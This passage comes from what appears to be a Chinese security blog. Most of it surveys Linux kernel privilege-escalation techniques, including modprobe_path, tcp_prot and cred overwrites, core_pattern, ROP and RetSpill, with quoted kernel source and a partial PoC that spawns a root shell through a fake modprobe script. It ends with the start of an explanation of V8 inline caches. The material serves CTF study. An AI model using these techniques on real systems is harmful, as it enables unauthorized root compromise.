也就是说，只要传递给sa->salg_type的字符串是无效的加密类型，就会调用request_module()。思路和执行非法文件比较类似。

PoC 如下：

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
        char fake_modprobe[40] = {0};
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

        // Overwriting modprobe_path with fake_modprobe here...

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        return 0;
}

例题：TsukuCTF 2025 easy_kernel

未知协议 socket
#

利用条件：CONFIG_MODULES=y 且 CONFIG_STATIC_USERMODEHELPER=n

socket 指定未知协议也能够触发，从v6.16源码可以看到，创建sock时若无法匹配指定的family则会调用request_module

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	...
#ifdef CONFIG_MODULES
	/* Attempt to load a protocol module if the find failed.
	 *
	 * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
	 * requested real, full-featured networking support upon configuration.
	 * Otherwise module support will break!
	 */
	if (rcu_access_pointer(net_families[family]) == NULL)
		request_module("net-pf-%d", family); // 这里调了request_module
#endif

可以发现AF_ALG socket这种方法相比之下是更通用的。

n_tty_ops
#

利用条件：

目标系统必须使用 n_tty 驱动（Linux 默认的伪终端驱动，适用于 /dev/pts/X 或 /dev/tty）。
n_tty_ops 可写

~~图片出处已不可考~~

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

劫持 n_tty_ops.read 构造 ROP chain，用 syscall read 触发 ROP，拿到权限后将其恢复，正常进行终端交互。

cred
#

利用条件：定位cred

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

攻击的方式有两种²：

直接修改 cred 结构体的内容
修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

网上大多说把 uid~fsgid 全置为0，实际上权限主要与 uid 和 euid 有关，这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

RWCTF2022 Digging into kernel 1 & 2 这种 cred_jar 没有设置 SLAB_ACCOUNT 导致和题目的 slab 合并现在不太可能见到，利用方法是 fork 子进程修改其 cred。

tcp_prot
#

利用条件：tcp_prot可写

中文互联网似乎没人分析这种技巧，对tcp_prot的利用技术最早被用于利用 CVE-2022-29582：

Even better, each tls_context has a proto pointer to tcp_prot. This object has two awesome features. For one, its address is a constant offset from the kernel base. So reading out field sk_proto == &tcp_prot means a way around KASLR. Further, it’s got a bunch of function pointers. So if we can forge a fake proto object then we’ve got the main ingredient for arbitrary code execution. As we might’ve guessed from the diagram, we are specifically going to target getsockopt().

tcp_prot 是 Linux 内核中用于定义 TCP 协议行为的结构体。该结构体既可以被用于泄露 kernel 地址，也可以被用于控制流劫持。一般是通过用户态调用setsockopt()函数来触发tcp_prot->setsockopt。

struct proto tcp_prot = {
	.name			= "TCP",
	.owner			= THIS_MODULE,
	.close			= tcp_close,
	.pre_connect		= tcp_v4_pre_connect,
	.connect		= tcp_v4_connect,
	.disconnect		= tcp_disconnect,
	.accept			= inet_csk_accept,
	.ioctl			= tcp_ioctl,
	.init			= tcp_v4_init_sock,
	.destroy		= tcp_v4_destroy_sock,
	.shutdown		= tcp_shutdown,
	.setsockopt		= tcp_setsockopt,
	.getsockopt		= tcp_getsockopt,
	.bpf_bypass_getsockopt	= tcp_bpf_bypass_getsockopt,
	.keepalive		= tcp_set_keepalive,
	.recvmsg		= tcp_recvmsg,
	.sendmsg		= tcp_sendmsg,
	.sendpage		= tcp_sendpage,
	.backlog_rcv		= tcp_v4_do_rcv,
	.release_cb		= tcp_release_cb,
	.hash			= inet_hash,
	.unhash			= inet_unhash,
	.get_port		= inet_csk_get_port,
	.put_port		= inet_put_port,
#ifdef CONFIG_BPF_SYSCALL
	.psock_update_sk_prot	= tcp_bpf_update_proto,
#endif
	.enter_memory_pressure	= tcp_enter_memory_pressure,
	.leave_memory_pressure	= tcp_leave_memory_pressure,
	.stream_memory_free	= tcp_stream_memory_free,
	.sockets_allocated	= &tcp_sockets_allocated,
	.orphan_count		= &tcp_orphan_count,

	.memory_allocated	= &tcp_memory_allocated,
	.per_cpu_fw_alloc	= &tcp_memory_per_cpu_fw_alloc,

	.memory_pressure	= &tcp_memory_pressure,
	.sysctl_mem		= sysctl_tcp_mem,
	.sysctl_wmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_wmem),
	.sysctl_rmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_rmem),
	.max_header		= MAX_TCP_HEADER,
	.obj_size		= sizeof(struct tcp_sock),
	.slab_flags		= SLAB_TYPESAFE_BY_RCU,
	.twsk_prot		= &tcp_timewait_sock_ops,
	.rsk_prot		= &tcp_request_sock_ops,
	.h.hashinfo		= NULL,
	.no_autobind		= true,
	.diag_destroy		= tcp_abort,
};

考虑如下代码：

int fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(fd, SOL_TCP, TCP_ULP, fake_stack, 0x1337);

socket 函数是 socket 系统调用的封装，内核调用__sys_socket()进行处理（本节所有 kernel 源代码取自v6.3.4），该函数调用__sys_socket_create()：

int __sys_socket(int family, int type, int protocol)
{
	struct socket *sock;
	int flags;

	sock = __sys_socket_create(family, type, protocol);
	if (IS_ERR(sock))
		return PTR_ERR(sock);

	flags = type & ~SOCK_TYPE_MASK;
	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

	return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}

__sys_socket_create()调用sock_create()函数 -> __sock_create()函数，根据协议族来创建 sock：

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	int err;
	struct socket *sock;
	const struct net_proto_family *pf;
	...
	sock = sock_alloc(); // 分配 sock 结构体
	sock->type = type;
    ...
	pf = rcu_dereference(net_families[family]); // 获取协议族处理函数 (AF_INET -> inet_family_ops)
	...
	err = pf->create(net, sock, protocol, kern); // 调用 inet_create()	
    ... 
	*res = sock;
	return 0;
	...
}

inet_create() 从inetsw链表查找sock->type对应的inet_protosw结构体：

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	struct sock *sk;
	struct inet_protosw *answer;
	struct inet_sock *inet;
	struct proto *answer_prot;
	unsigned char answer_flags;
	int try_loading_module = 0;
	int err;
	...
    // 查找协议处理器 (SOCK_STREAM -> TCP)
	list_for_each_entry_rcu(answer, &inetsw[sock->type], list) {

		err = 0;
		/* Check the non-wild match. */
		if (protocol == answer->protocol) {
			if (protocol != IPPROTO_IP)
				break;
		} else {
			/* Check for the two wild cases. */
			if (IPPROTO_IP == protocol) {
				protocol = answer->protocol;
				break;
			}
			if (IPPROTO_IP == answer->protocol)
				break;
		}
		err = -EPROTONOSUPPORT;
	}
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体，使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

inet 初始化时，inet_init调用inet_register_protosw将静态数组inetsw_array转化为了动态链表inetsw：

static int __init inet_init(void)
{
    ...

	for (r = &inetsw[0]; r < &inetsw[SOCK_MAX]; ++r)
		INIT_LIST_HEAD(r);	 // 初始化每个链表头

    /* Register the socket-side information for inet_create. */
	for (q = inetsw_array; q < &inetsw_array[INETSW_ARRAY_LEN]; ++q)
		inet_register_protosw(q);	// 注册每个协议到对应链表   

    ...
    return 0;
}

void inet_register_protosw(struct inet_protosw *p)
{
	struct list_head *lh;
	struct inet_protosw *answer;
	int protocol = p->protocol;
	struct list_head *last_perm;

    spin_lock_bh(&inetsw_lock);
	...
    // 根据socket类型选择对应的链表
	last_perm = &inetsw[p->type];
	...
    // 将协议处理器添加到对应类型的链表中
	list_add_rcu(&p->list, last_perm);

    spin_unlock_bh(&inetsw_lock);
    ...
}

inetsw_array如下所示：

static struct inet_protosw inetsw_array[] =
{
	{
		.type =       SOCK_STREAM,
		.protocol =   IPPROTO_TCP,
		.prot =       &tcp_prot,
		.ops =        &inet_stream_ops,
		.flags =      INET_PROTOSW_PERMANENT |
			      INET_PROTOSW_ICSK,
	},

	{
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_UDP,
		.prot =       &udp_prot,
		.ops =        &inet_dgram_ops,
		.flags =      INET_PROTOSW_PERMANENT,
       },

       {
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_ICMP,
		.prot =       &ping_prot,
		.ops =        &inet_sockraw_ops,
		.flags =      INET_PROTOSW_REUSE,
       },

       {
	       .type =       SOCK_RAW,
	       .protocol =   IPPROTO_IP,	/* wild card */
	       .prot =       &raw_prot,
	       .ops =        &inet_sockraw_ops,
	       .flags =      INET_PROTOSW_REUSE,
       }
};

之前创建sock指定的type为SOCK_STREAM，因此对应这里的第一项，prot为&tcp_prot，ops为&inet_stream_ops。

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体，使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

在调用sk_alloc()分配结构体时，将&tcp_prot赋给了sk->sk_prot：

struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
		      struct proto *prot, int kern)
{
	struct sock *sk;

	sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
	if (sk) {
		sk->sk_family = family;
		/*
		 * See comment in struct sock definition to understand
		 * why we need sk_prot_creator -acme
		 */
		sk->sk_prot = sk->sk_prot_creator = prot; // sk->sk_prot = prot (这里是tcp_prot)
		sk->sk_kern_sock = kern;
		sock_lock_init(sk);
		sk->sk_net_refcnt = kern ? 0 : 1;
		if (likely(sk->sk_net_refcnt)) {
			get_net_track(net, &sk->ns_tracker, priority);
			sock_inuse_add(net, 1);
		} else {
			__netns_tracker_alloc(net, &sk->ns_tracker,
					      false, priority);
		}

		sock_net_set(sk, net);
		refcount_set(&sk->sk_wmem_alloc, 1);

		mem_cgroup_sk_alloc(sk);
		cgroup_sk_alloc(&sk->sk_cgrp_data);
		sock_update_classid(&sk->sk_cgrp_data);
		sock_update_netprioidx(&sk->sk_cgrp_data);
		sk_tx_queue_clear(sk);
	}

	return sk;
}

用户态调用setsockopt() 库函数，实际是sys_setsockopt()的封装。

__sys_setsockopt函数处理该系统调用，源码如下：

int __sys_setsockopt(int fd, int level, int optname, char __user *user_optval,
		int optlen)
{
	sockptr_t optval = USER_SOCKPTR(user_optval);
	char *kernel_optval = NULL;
	int err, fput_needed;
	struct socket *sock;

	if (optlen < 0)
		return -EINVAL;

	sock = sockfd_lookup_light(fd, &err, &fput_needed);
	if (!sock)
		return err;

	err = security_socket_setsockopt(sock, level, optname);
	if (err)
		goto out_put;

	if (!in_compat_syscall())
		err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
						     user_optval, &optlen,
						     &kernel_optval);
	if (err < 0)
		goto out_put;
	if (err > 0) {
		err = 0;
		goto out_put;
	}

	if (kernel_optval)
		optval = KERNEL_SOCKPTR(kernel_optval);
	if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
		err = sock_setsockopt(sock, level, optname, optval, optlen);
	else if (unlikely(!sock->ops->setsockopt))
		err = -EOPNOTSUPP;
	else
		err = sock->ops->setsockopt(sock, level, optname, optval,
					    optlen);
	kfree(kernel_optval);
out_put:
	fput_light(sock->file, fput_needed);
	return err;
}

如果 level != SOL_SOCKET（比如 SOL_TCP）：调用 sock->ops->setsockopt()。如果读者记忆力比较好，应该还记得这里的ops是&inet_stream_ops，这是调用sock时由内核确定的。

inet_stream_ops结构体如下，可以看到会调用sock_common_setsockopt：

const struct proto_ops inet_stream_ops = {
	.family		   = PF_INET,
	.owner		   = THIS_MODULE,
	.release	   = inet_release,
	.bind		   = inet_bind,
	.connect	   = inet_stream_connect,
	.socketpair	   = sock_no_socketpair,
	.accept		   = inet_accept,
	.getname	   = inet_getname,
	.poll		   = tcp_poll,
	.ioctl		   = inet_ioctl,
	.gettstamp	   = sock_gettstamp,
	.listen		   = inet_listen,
	.shutdown	   = inet_shutdown,
	.setsockopt	   = sock_common_setsockopt,
	.getsockopt	   = sock_common_getsockopt,
	.sendmsg	   = inet_sendmsg,
	.recvmsg	   = inet_recvmsg,
#ifdef CONFIG_MMU
	.mmap		   = tcp_mmap,
#endif
	.sendpage	   = inet_sendpage,
	.splice_read	   = tcp_splice_read,
	.read_sock	   = tcp_read_sock,
	.read_skb	   = tcp_read_skb,
	.sendmsg_locked    = tcp_sendmsg_locked,
	.sendpage_locked   = tcp_sendpage_locked,
	.peek_len	   = tcp_peek_len,
#ifdef CONFIG_COMPAT
	.compat_ioctl	   = inet_compat_ioctl,
#endif
	.set_rcvlowat	   = tcp_set_rcvlowat,
};

sock_common_setsockopt实现如下：

int sock_common_setsockopt(struct socket *sock, int level, int optname,
			   sockptr_t optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;

	/* IPV6_ADDRFORM can change sk->sk_prot under us. */
	return READ_ONCE(sk->sk_prot)->setsockopt(sk, level, optname, optval, optlen);
}

可以看到最终是调用了sk->sk_prot->setsockopt，而在我们讨论的情况下，sk_prot就是&tcp_prot。

总结一下，在我们讨论的这种情况下，用户态调用setsockopt()会触发内核中tcp_prot->setsockopt的调用。当我们修改此处指针后，用户态的const void *option_value参数被保留，根据 System V ABI 调用约定，rcx 寄存器的内容被用户态控制。因此我们可以利用 rcx 来做 stack_pivot（在 CVE-2022-29582 例子里，用了mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret;这个gadget），方法是覆盖内核中的tcp_prot->setsockopt为rcx相关的gadget，然后在用户态调用setsockopt，option_value参数指向伪造的栈。

例题：corCTF 2023 sysruption

~~这道题 AMD CPU 做不了，我没做~~

core_pattern
#

利用条件：core_pattern可写，SELinux 等未阻止core_pattern管道执行。

core_pattern是内核区域的一个全局变量，在程序异常退出后，内核会找到core_pattern的值（默认是core）作为 core dump 的文件名存储进程崩溃时的信息用于调试。

core_pattern的值为"|xxx.sh"时，触发一个程序的 coredump，就能让该脚本以root权限执行。

现代系统通过限制普通用户对 /proc/sys/kernel/core_pattern 的写权限（如使用 capabilities 或 SELinux）减少了风险，但是这种攻击方式仍被用于容器逃逸提权。

Ubuntu 中的 core_pattern：

|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

WSL Ubuntu 中的 core_pattern：

|/wsl-capture-crash %t %E %p %s

hijack prctl
#

利用条件：poweroff_cmd和task_prctl可写

内核中的poweroff_work_func函数会执行run_cmd(poweroff_cmd)，把task_prctl劫持到__orderly_poweroff，然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl，就会以root权限执行我们的二进制文件，从而提权。

vDSO（过时）
#

利用条件：vDSO 可写

内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数，那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时，我们就可以进行提权。

seq_operations 等非静态定义结构体
#

利用条件：通过任何方式定位该结构体（如 kmalloc-32 UAF）

seq_operations ³是一个大小为0x20的结构体，打开一个 stat 文件时（如 /proc/self/stat ）便会在内核空间中分配一个 seq_operations 结构体，该结构体定义于 /include/linux/seq_file.h 当中，只定义了四个函数指针，如下：

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。

其他有函数指针的非静态定义结构体：

pipe_bufffer
packet_sock
sk_buff
file
…

任意文件写
#

/proc/sys/kernel/modprobe 对应 modprobe_path
/proc/sys/kernel/core_pattern 对应 core_pattern
init，得能重启且不被重置
/proc/<pid>/mem root 权限进程注入
~~有/etc目录的话，passwd, shadow, ld.so.preload, pam.d, cron, sudoers…~~

ROP
#

内核执行 commit_creds(prepare_kernel_cred(0)) 或 或 commit_creds(&init_cred) 使进程获得root权限

返回用户态
#

swapgs 指令恢复用户态 GS 寄存器，sysretq 或者 iretq 恢复到用户空间
KPTI（内核页表隔离）开启，用swapgs_restore_regs_and_return_to_usermode
SMEP（阻止内核态代码执行来自用户空间的代码）开启，修改 CR4 寄存器的值：cr4 = cr4 & ~(1 << 20);第20位置零代表 SMEP 关闭
未开启 KPTI 时，还可用 ret2dir 直接利用 direct mapping area 来构造 ROP chain

栈迁移
#

pt_regs
#

进行系统调用时，entry_SYSCALL_64函数会将所有的寄存器压入内核栈上，形成一个 pt_regs 结构体，该结构体实质上位于内核栈底，定义如下：

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在未启用RANDKSTACK的内核中，该结构体和目标函数（被劫持）的栈帧之间的偏移量是固定的。

因此可以利用该结构体构造 ROP chain，然后通过 stack pivot gadget 跳过去。

利用 tcp_prot 的 rcx
#

见 AAW 节 tcp_prot

用这种方法做栈迁移实际也在 RetSpill 的实验中体现了。

RetSpill
#

ASU sefcom Kyle Zeng 的一篇顶会⁴。基本思路是，在执行系统调用时，部分用户空间数据保存在内核堆栈中。

举例来说，poll这个系统调用会调用copy_from_user把用户态数据直接复制到内核栈上：

int do_sys_poll(...)
{
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
    struct poll_list *walk = (struct poll_list *)stack_pps;

    // copy user space data onto kernel stack
    copy_from_user(walk->entries, ufds, sizeof(walk->entries);

    // invoke poll handler for each fd
    pfd = walk->entries;
    for(; ... ; pfd++) {
        file = fdget(pfd).file;
        file->f_op->poll(...);
    }
    ...
}

如果攻击者控制了用户空间中的 file object，当通过 file->f_op->poll 调用获取控制流劫持原语时，他们将控制内核堆栈上的 0x1e0 （论文工作中测试得到）字节。然后，攻击者可以栈迁移到这里。在poll调用的生命周期内，堆栈上的数据是始终有效的。

RetSpill 的另一个思路是，exp 进程里的所有线程共享系统资源（包括内核堆里的victim object），每一个线程都可以独立地执行 ROP chain（有不同的 task 上下文）。这样做的好处是可以稳定地重用控制流劫持。

RANDKSTACK 在函数栈帧和pt_regs区域引入了一个随机的偏移，让pt_regs方法更难利用了。但是对 RetSpill 的影响不是很大，例如poll 调用的用户态数据不受影响，因为这些数据在函数栈帧里。论文还提到，大多数 Linux 发行版都没有开启panic_on_oops，因此可以在线程里不断爆破 pt_regs 和函数栈帧之间的偏移量。

FG-KASLR，函数粒度的内核地址随机化也无法完全缓解 RetSpill（以及其他很多技术），因为内核中某些区域永远不会被随机化，包括 KPTI trampoline swapgs_restore_regs_and_return_to_usermode()和内核符号表 ksymtab等⁵。攻击者可以在位置无关的代码中寻找 ROP gadgets 来构造任意读原语，然后通过ksymtab计算函数地址。

当然，作为学术论文，RetSpill 最具贡献的地方是实现了一个半自动化工具 IGNI，可以根据输入的 kernel image 生成一个 RetSpill 利用模板，大大降低了内核漏洞利用的门槛。

例题：corCTF 2021 Wall of Perdition

参考资料
#

V8 内联缓存机制及漏洞

root@beacox.space (BeaCox) — Tue, 29 Jul 2025 15:06:01 +0800

本文站在巨人肩膀上浅析 V8 中的内联缓存机制，并以一个典型例子分析其实际漏洞。

内联缓存机制概述
#

内联缓存（Inline Cache，IC）是V8 引擎用于优化 JavaScript 属性访问性能的技术。V8 通过 IC 在代码的特定调用点缓存对象的形状（Shape，或称隐藏类，Hidden Class），从而加速后续的属性访问。

const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };
// `object1` and `object2` have the same shape.

All JavaScript engines use shapes as an optimization, but they don’t all call them shapes:

Academic papers call them Hidden Classes (confusing w.r.t. JavaScript classes)

V8 calls them Maps (confusing w.r.t. JavaScript Maps)

V8 中称之为 map ，因此下文全部采用 map。

添加属性的顺序会影响 map。例如， { x: 4, y: 5 } 与 { y: 5, x: 4 } 生成的 map 不同。

关于 map 的更多介绍，可以参考V8中的隐藏类（Hidden Classes）和内联缓存（Inline Caching）一文。一言以蔽之，当对象共享 map 的时候，内联缓存能够省略 map 的查找过程来优化访存过程。

IC 通过 FeedbackVector 收集运行时的属性访问信息（如对象类型、属性名等），并据此优化后续执行。IC 根据对象的 map 和状态生成 handler，handler 是快速执行属性访问的代码片段。

FeedbackVector 缓存了 map 和与之对应的 handler ，IC 相关的逻辑就可以简化为通过访问 FeedbackVector 即可判断是否 IC Hit 并执行对应的 handler。

IC 有三种状态（未初始化除外）：

单态 IC：IC 在该位置只检测到一种 map 的对象
多态 IC：IC 在同一位置发现第二个不同的对象 map
超态 IC：IC 在同一位置发现太多不同的对象 map（在 V8 中，单个调用点超过 4 个）

当对象的类型或属性访问模式发生变化时，IC 会动态调整状态并更新缓存。例如：

单态 → 多态：当遇到新 map 时扩展缓存。
多态 → 超多态：当 map 过多时放弃优化。

源码
#

https://github.com/v8/v8/tree/main/src/ic

核心：ic.cc, ic.h, ic-inl.h

IC is the base class for LoadIC, StoreIC, KeyedLoadIC, and KeyedStoreIC.

基类
#

IC类是 Inline Cache 机制的基类，所有具体的 IC 类型（例如上面几个）都继承自它，包括状态管理、缓存更新、处理器计算等功能。

下面介绍类的几个核心功能。

构造函数
#

IC::IC(Isolate* isolate, Handle<FeedbackVector> vector, FeedbackSlot slot,
       FeedbackSlotKind kind)
    : isolate_(isolate),
      vector_set_(false),
      kind_(kind),
      target_maps_(isolate),
      target_maps_set_(false),
      slow_stub_reason_(nullptr),
      nexus_(isolate, vector, slot) {
  DCHECK_IMPLIES(!vector.is_null(), kind_ == nexus_.kind());
  state_ = (vector.is_null()) ? NO_FEEDBACK : nexus_.ic_state();
  old_state_ = state_;
}

首先设置 V8 隔离实例 (isolate_) 和反馈向量接口 (nexus_)
设置初始化目标Map列表 (target_maps_) 和相关标志，用于属性访问缓存
设置vector_set_和slow_stub_reason_，用于动态更新反馈向量和处理慢路径（超态IC）。
通过DCHECK断言确保 kind 与反馈向量的类型一致，防止配置错误。
如果vector为空，state_=NO_FEEDBACK：表示 IC 尚未收集到运行时信息，无法进行优化，通常发生在代码首次执行时；如果vector不为空，state_ = nexus_.ic_state()：ic_state()方法返回反馈向量中存储的当前 IC 状态（如单态、多态等），这些状态基于之前的运行时数据。

状态管理
#

IC 使用反馈向量（FeedbackVector）和槽（FeedbackSlot）记录属性访问的反馈信息，从而加速后续访问。

对不同状态IC的配置是通过函数重载实现的：

bool IC::ConfigureVectorState(IC::State new_state, DirectHandle<Object> key) {
  DCHECK_EQ(MEGAMORPHIC, new_state);
  DCHECK_IMPLIES(!is_keyed(), IsName(*key));
  bool changed = nexus()->ConfigureMegamorphic(
      IsName(*key) ? IcCheckType::kProperty : IcCheckType::kElement);
  if (changed) {
    OnFeedbackChanged("Megamorphic");
  }
  return changed;
}

将 IC 切换到超态，放弃具体类型缓存，退化到慢路径。

void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
                              DirectHandle<Object> handler) {
  ConfigureVectorState(name, map, MaybeObjectDirectHandle(handler));
}

void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
                              const MaybeObjectDirectHandle& handler) {
  if (IsGlobalIC()) {
    nexus()->ConfigureHandlerMode(handler);
  } else {
    // Non-keyed ICs don't track the name explicitly.
    if (!is_keyed()) name = Handle<Name>::null();
    nexus()->ConfigureMonomorphic(name, map, handler);
  }

  OnFeedbackChanged(IsLoadGlobalIC() ? "LoadGlobal" : "Monomorphic");
}

配置单态 IC，缓存单一map（对象隐藏类）和handler（快速执行代码），提供最高性能的属性访问。适用于对象类型稳定的场景（如obj.x始终访问同一类型对象）。

对于全局 IC（如LoadGlobalIC、StoreGlobalIC），调用nexus()->ConfigureHandlerMode(handler)：仅设置handler，不存储 map或name，因为全局属性访问依赖全局对象。全局 IC 通常处理全局变量访问（如window.x）。
对于非全局 IC ：将单一map和handler存储到反馈向量；如果是键控 IC（如KeyedLoadIC），name用于验证缓存命中。

void IC::ConfigureVectorState(DirectHandle<Name> name, MapHandlesSpan maps,
                              MaybeObjectHandles* handlers) {
  DCHECK(!IsGlobalIC());
  MapsAndHandlers maps_and_handlers(isolate());
  maps_and_handlers.reserve(maps.size());
  DCHECK_EQ(maps.size(), handlers->size());
  for (size_t i = 0; i < maps.size(); i++) {
    maps_and_handlers.emplace_back(maps[i], handlers->at(i));
  }
  ConfigureVectorState(name, maps_and_handlers);
}
void IC::ConfigureVectorState(DirectHandle<Name> name,
                              MapsAndHandlers const& maps_and_handlers) {
  DCHECK(!IsGlobalIC());
  // Non-keyed ICs don't track the name explicitly.
  if (!is_keyed()) name = Handle<Name>::null();
  nexus()->ConfigurePolymorphic(name, maps_and_handlers);

  OnFeedbackChanged("Polymorphic");
}

配置多态 IC，缓存多个map和handler，支持有限类型（通常 ≤4）的属性访问。适用于对象类型多样但可控的场景（如obj.x访问几种不同类型的对象）。实现逻辑如下：

第一方法：
- 确保非全局 IC（!IsGlobalIC()，全局 IC 通常为单态或超态）。
- 创建MapsAndHandlers容器，存储maps和handlers配对（数量相等）。
- 遍历maps和handlers，存入容器，调用第二方法。
第二方法：
- 非键控 IC 将name设为 null。
- 调用nexus()->ConfigurePolymorphic(name, maps_and_handlers)，将name和多组map、handler存入反馈向量。
- 调用OnFeedbackChanged("Polymorphic")，通知反馈向量更新。

反馈向量内容：

存储 [name, map1, handler1, map2, handler2, ...]，占用多个槽。
键控 IC 保留name（如数组索引），非键控 IC 忽略name。

handler 管理
#

handler 是 V8 Inline Cache (IC) 系统中缓存属性访问快速执行路径的机器码或元数据（如属性偏移量或访问器），绑定对象 map，用于加速属性加载（如 obj.x）或存储（如 obj.x = value）。

bool IC::RecomputeHandlerForName(DirectHandle<Object> name) {
  if (is_keyed()) {
    // Determine whether the failure is due to a name failure.
    if (!IsName(*name)) return false;
    Tagged<Name> stub_name = nexus()->GetName();
    if (*name != stub_name) return false;
  }

  return true;
}

检查是否需要为属性名（name）重新计算 handler。比较当前 IC 状态和反馈向量中的缓存，若 handler 与对象 Map 或 name 不匹配，返回 true，触发重新生成。确保 handler 与运行时上下文一致，避免使用失效缓存。

void MarkRecomputeHandler(DirectHandle<Object> name) {
    DCHECK(RecomputeHandlerForName(name));
    old_state_ = state_;
    state_ = InlineCacheState::RECOMPUTE_HANDLER;
}

标记需要为属性名（name）重新计算 handler。确认需重计算后，保存当前状态到 old_state_，设置 state_ = RECOMPUTE_HANDLER，为后续生成新 handler 做准备。支持动态更新缓存以适应类型变化。

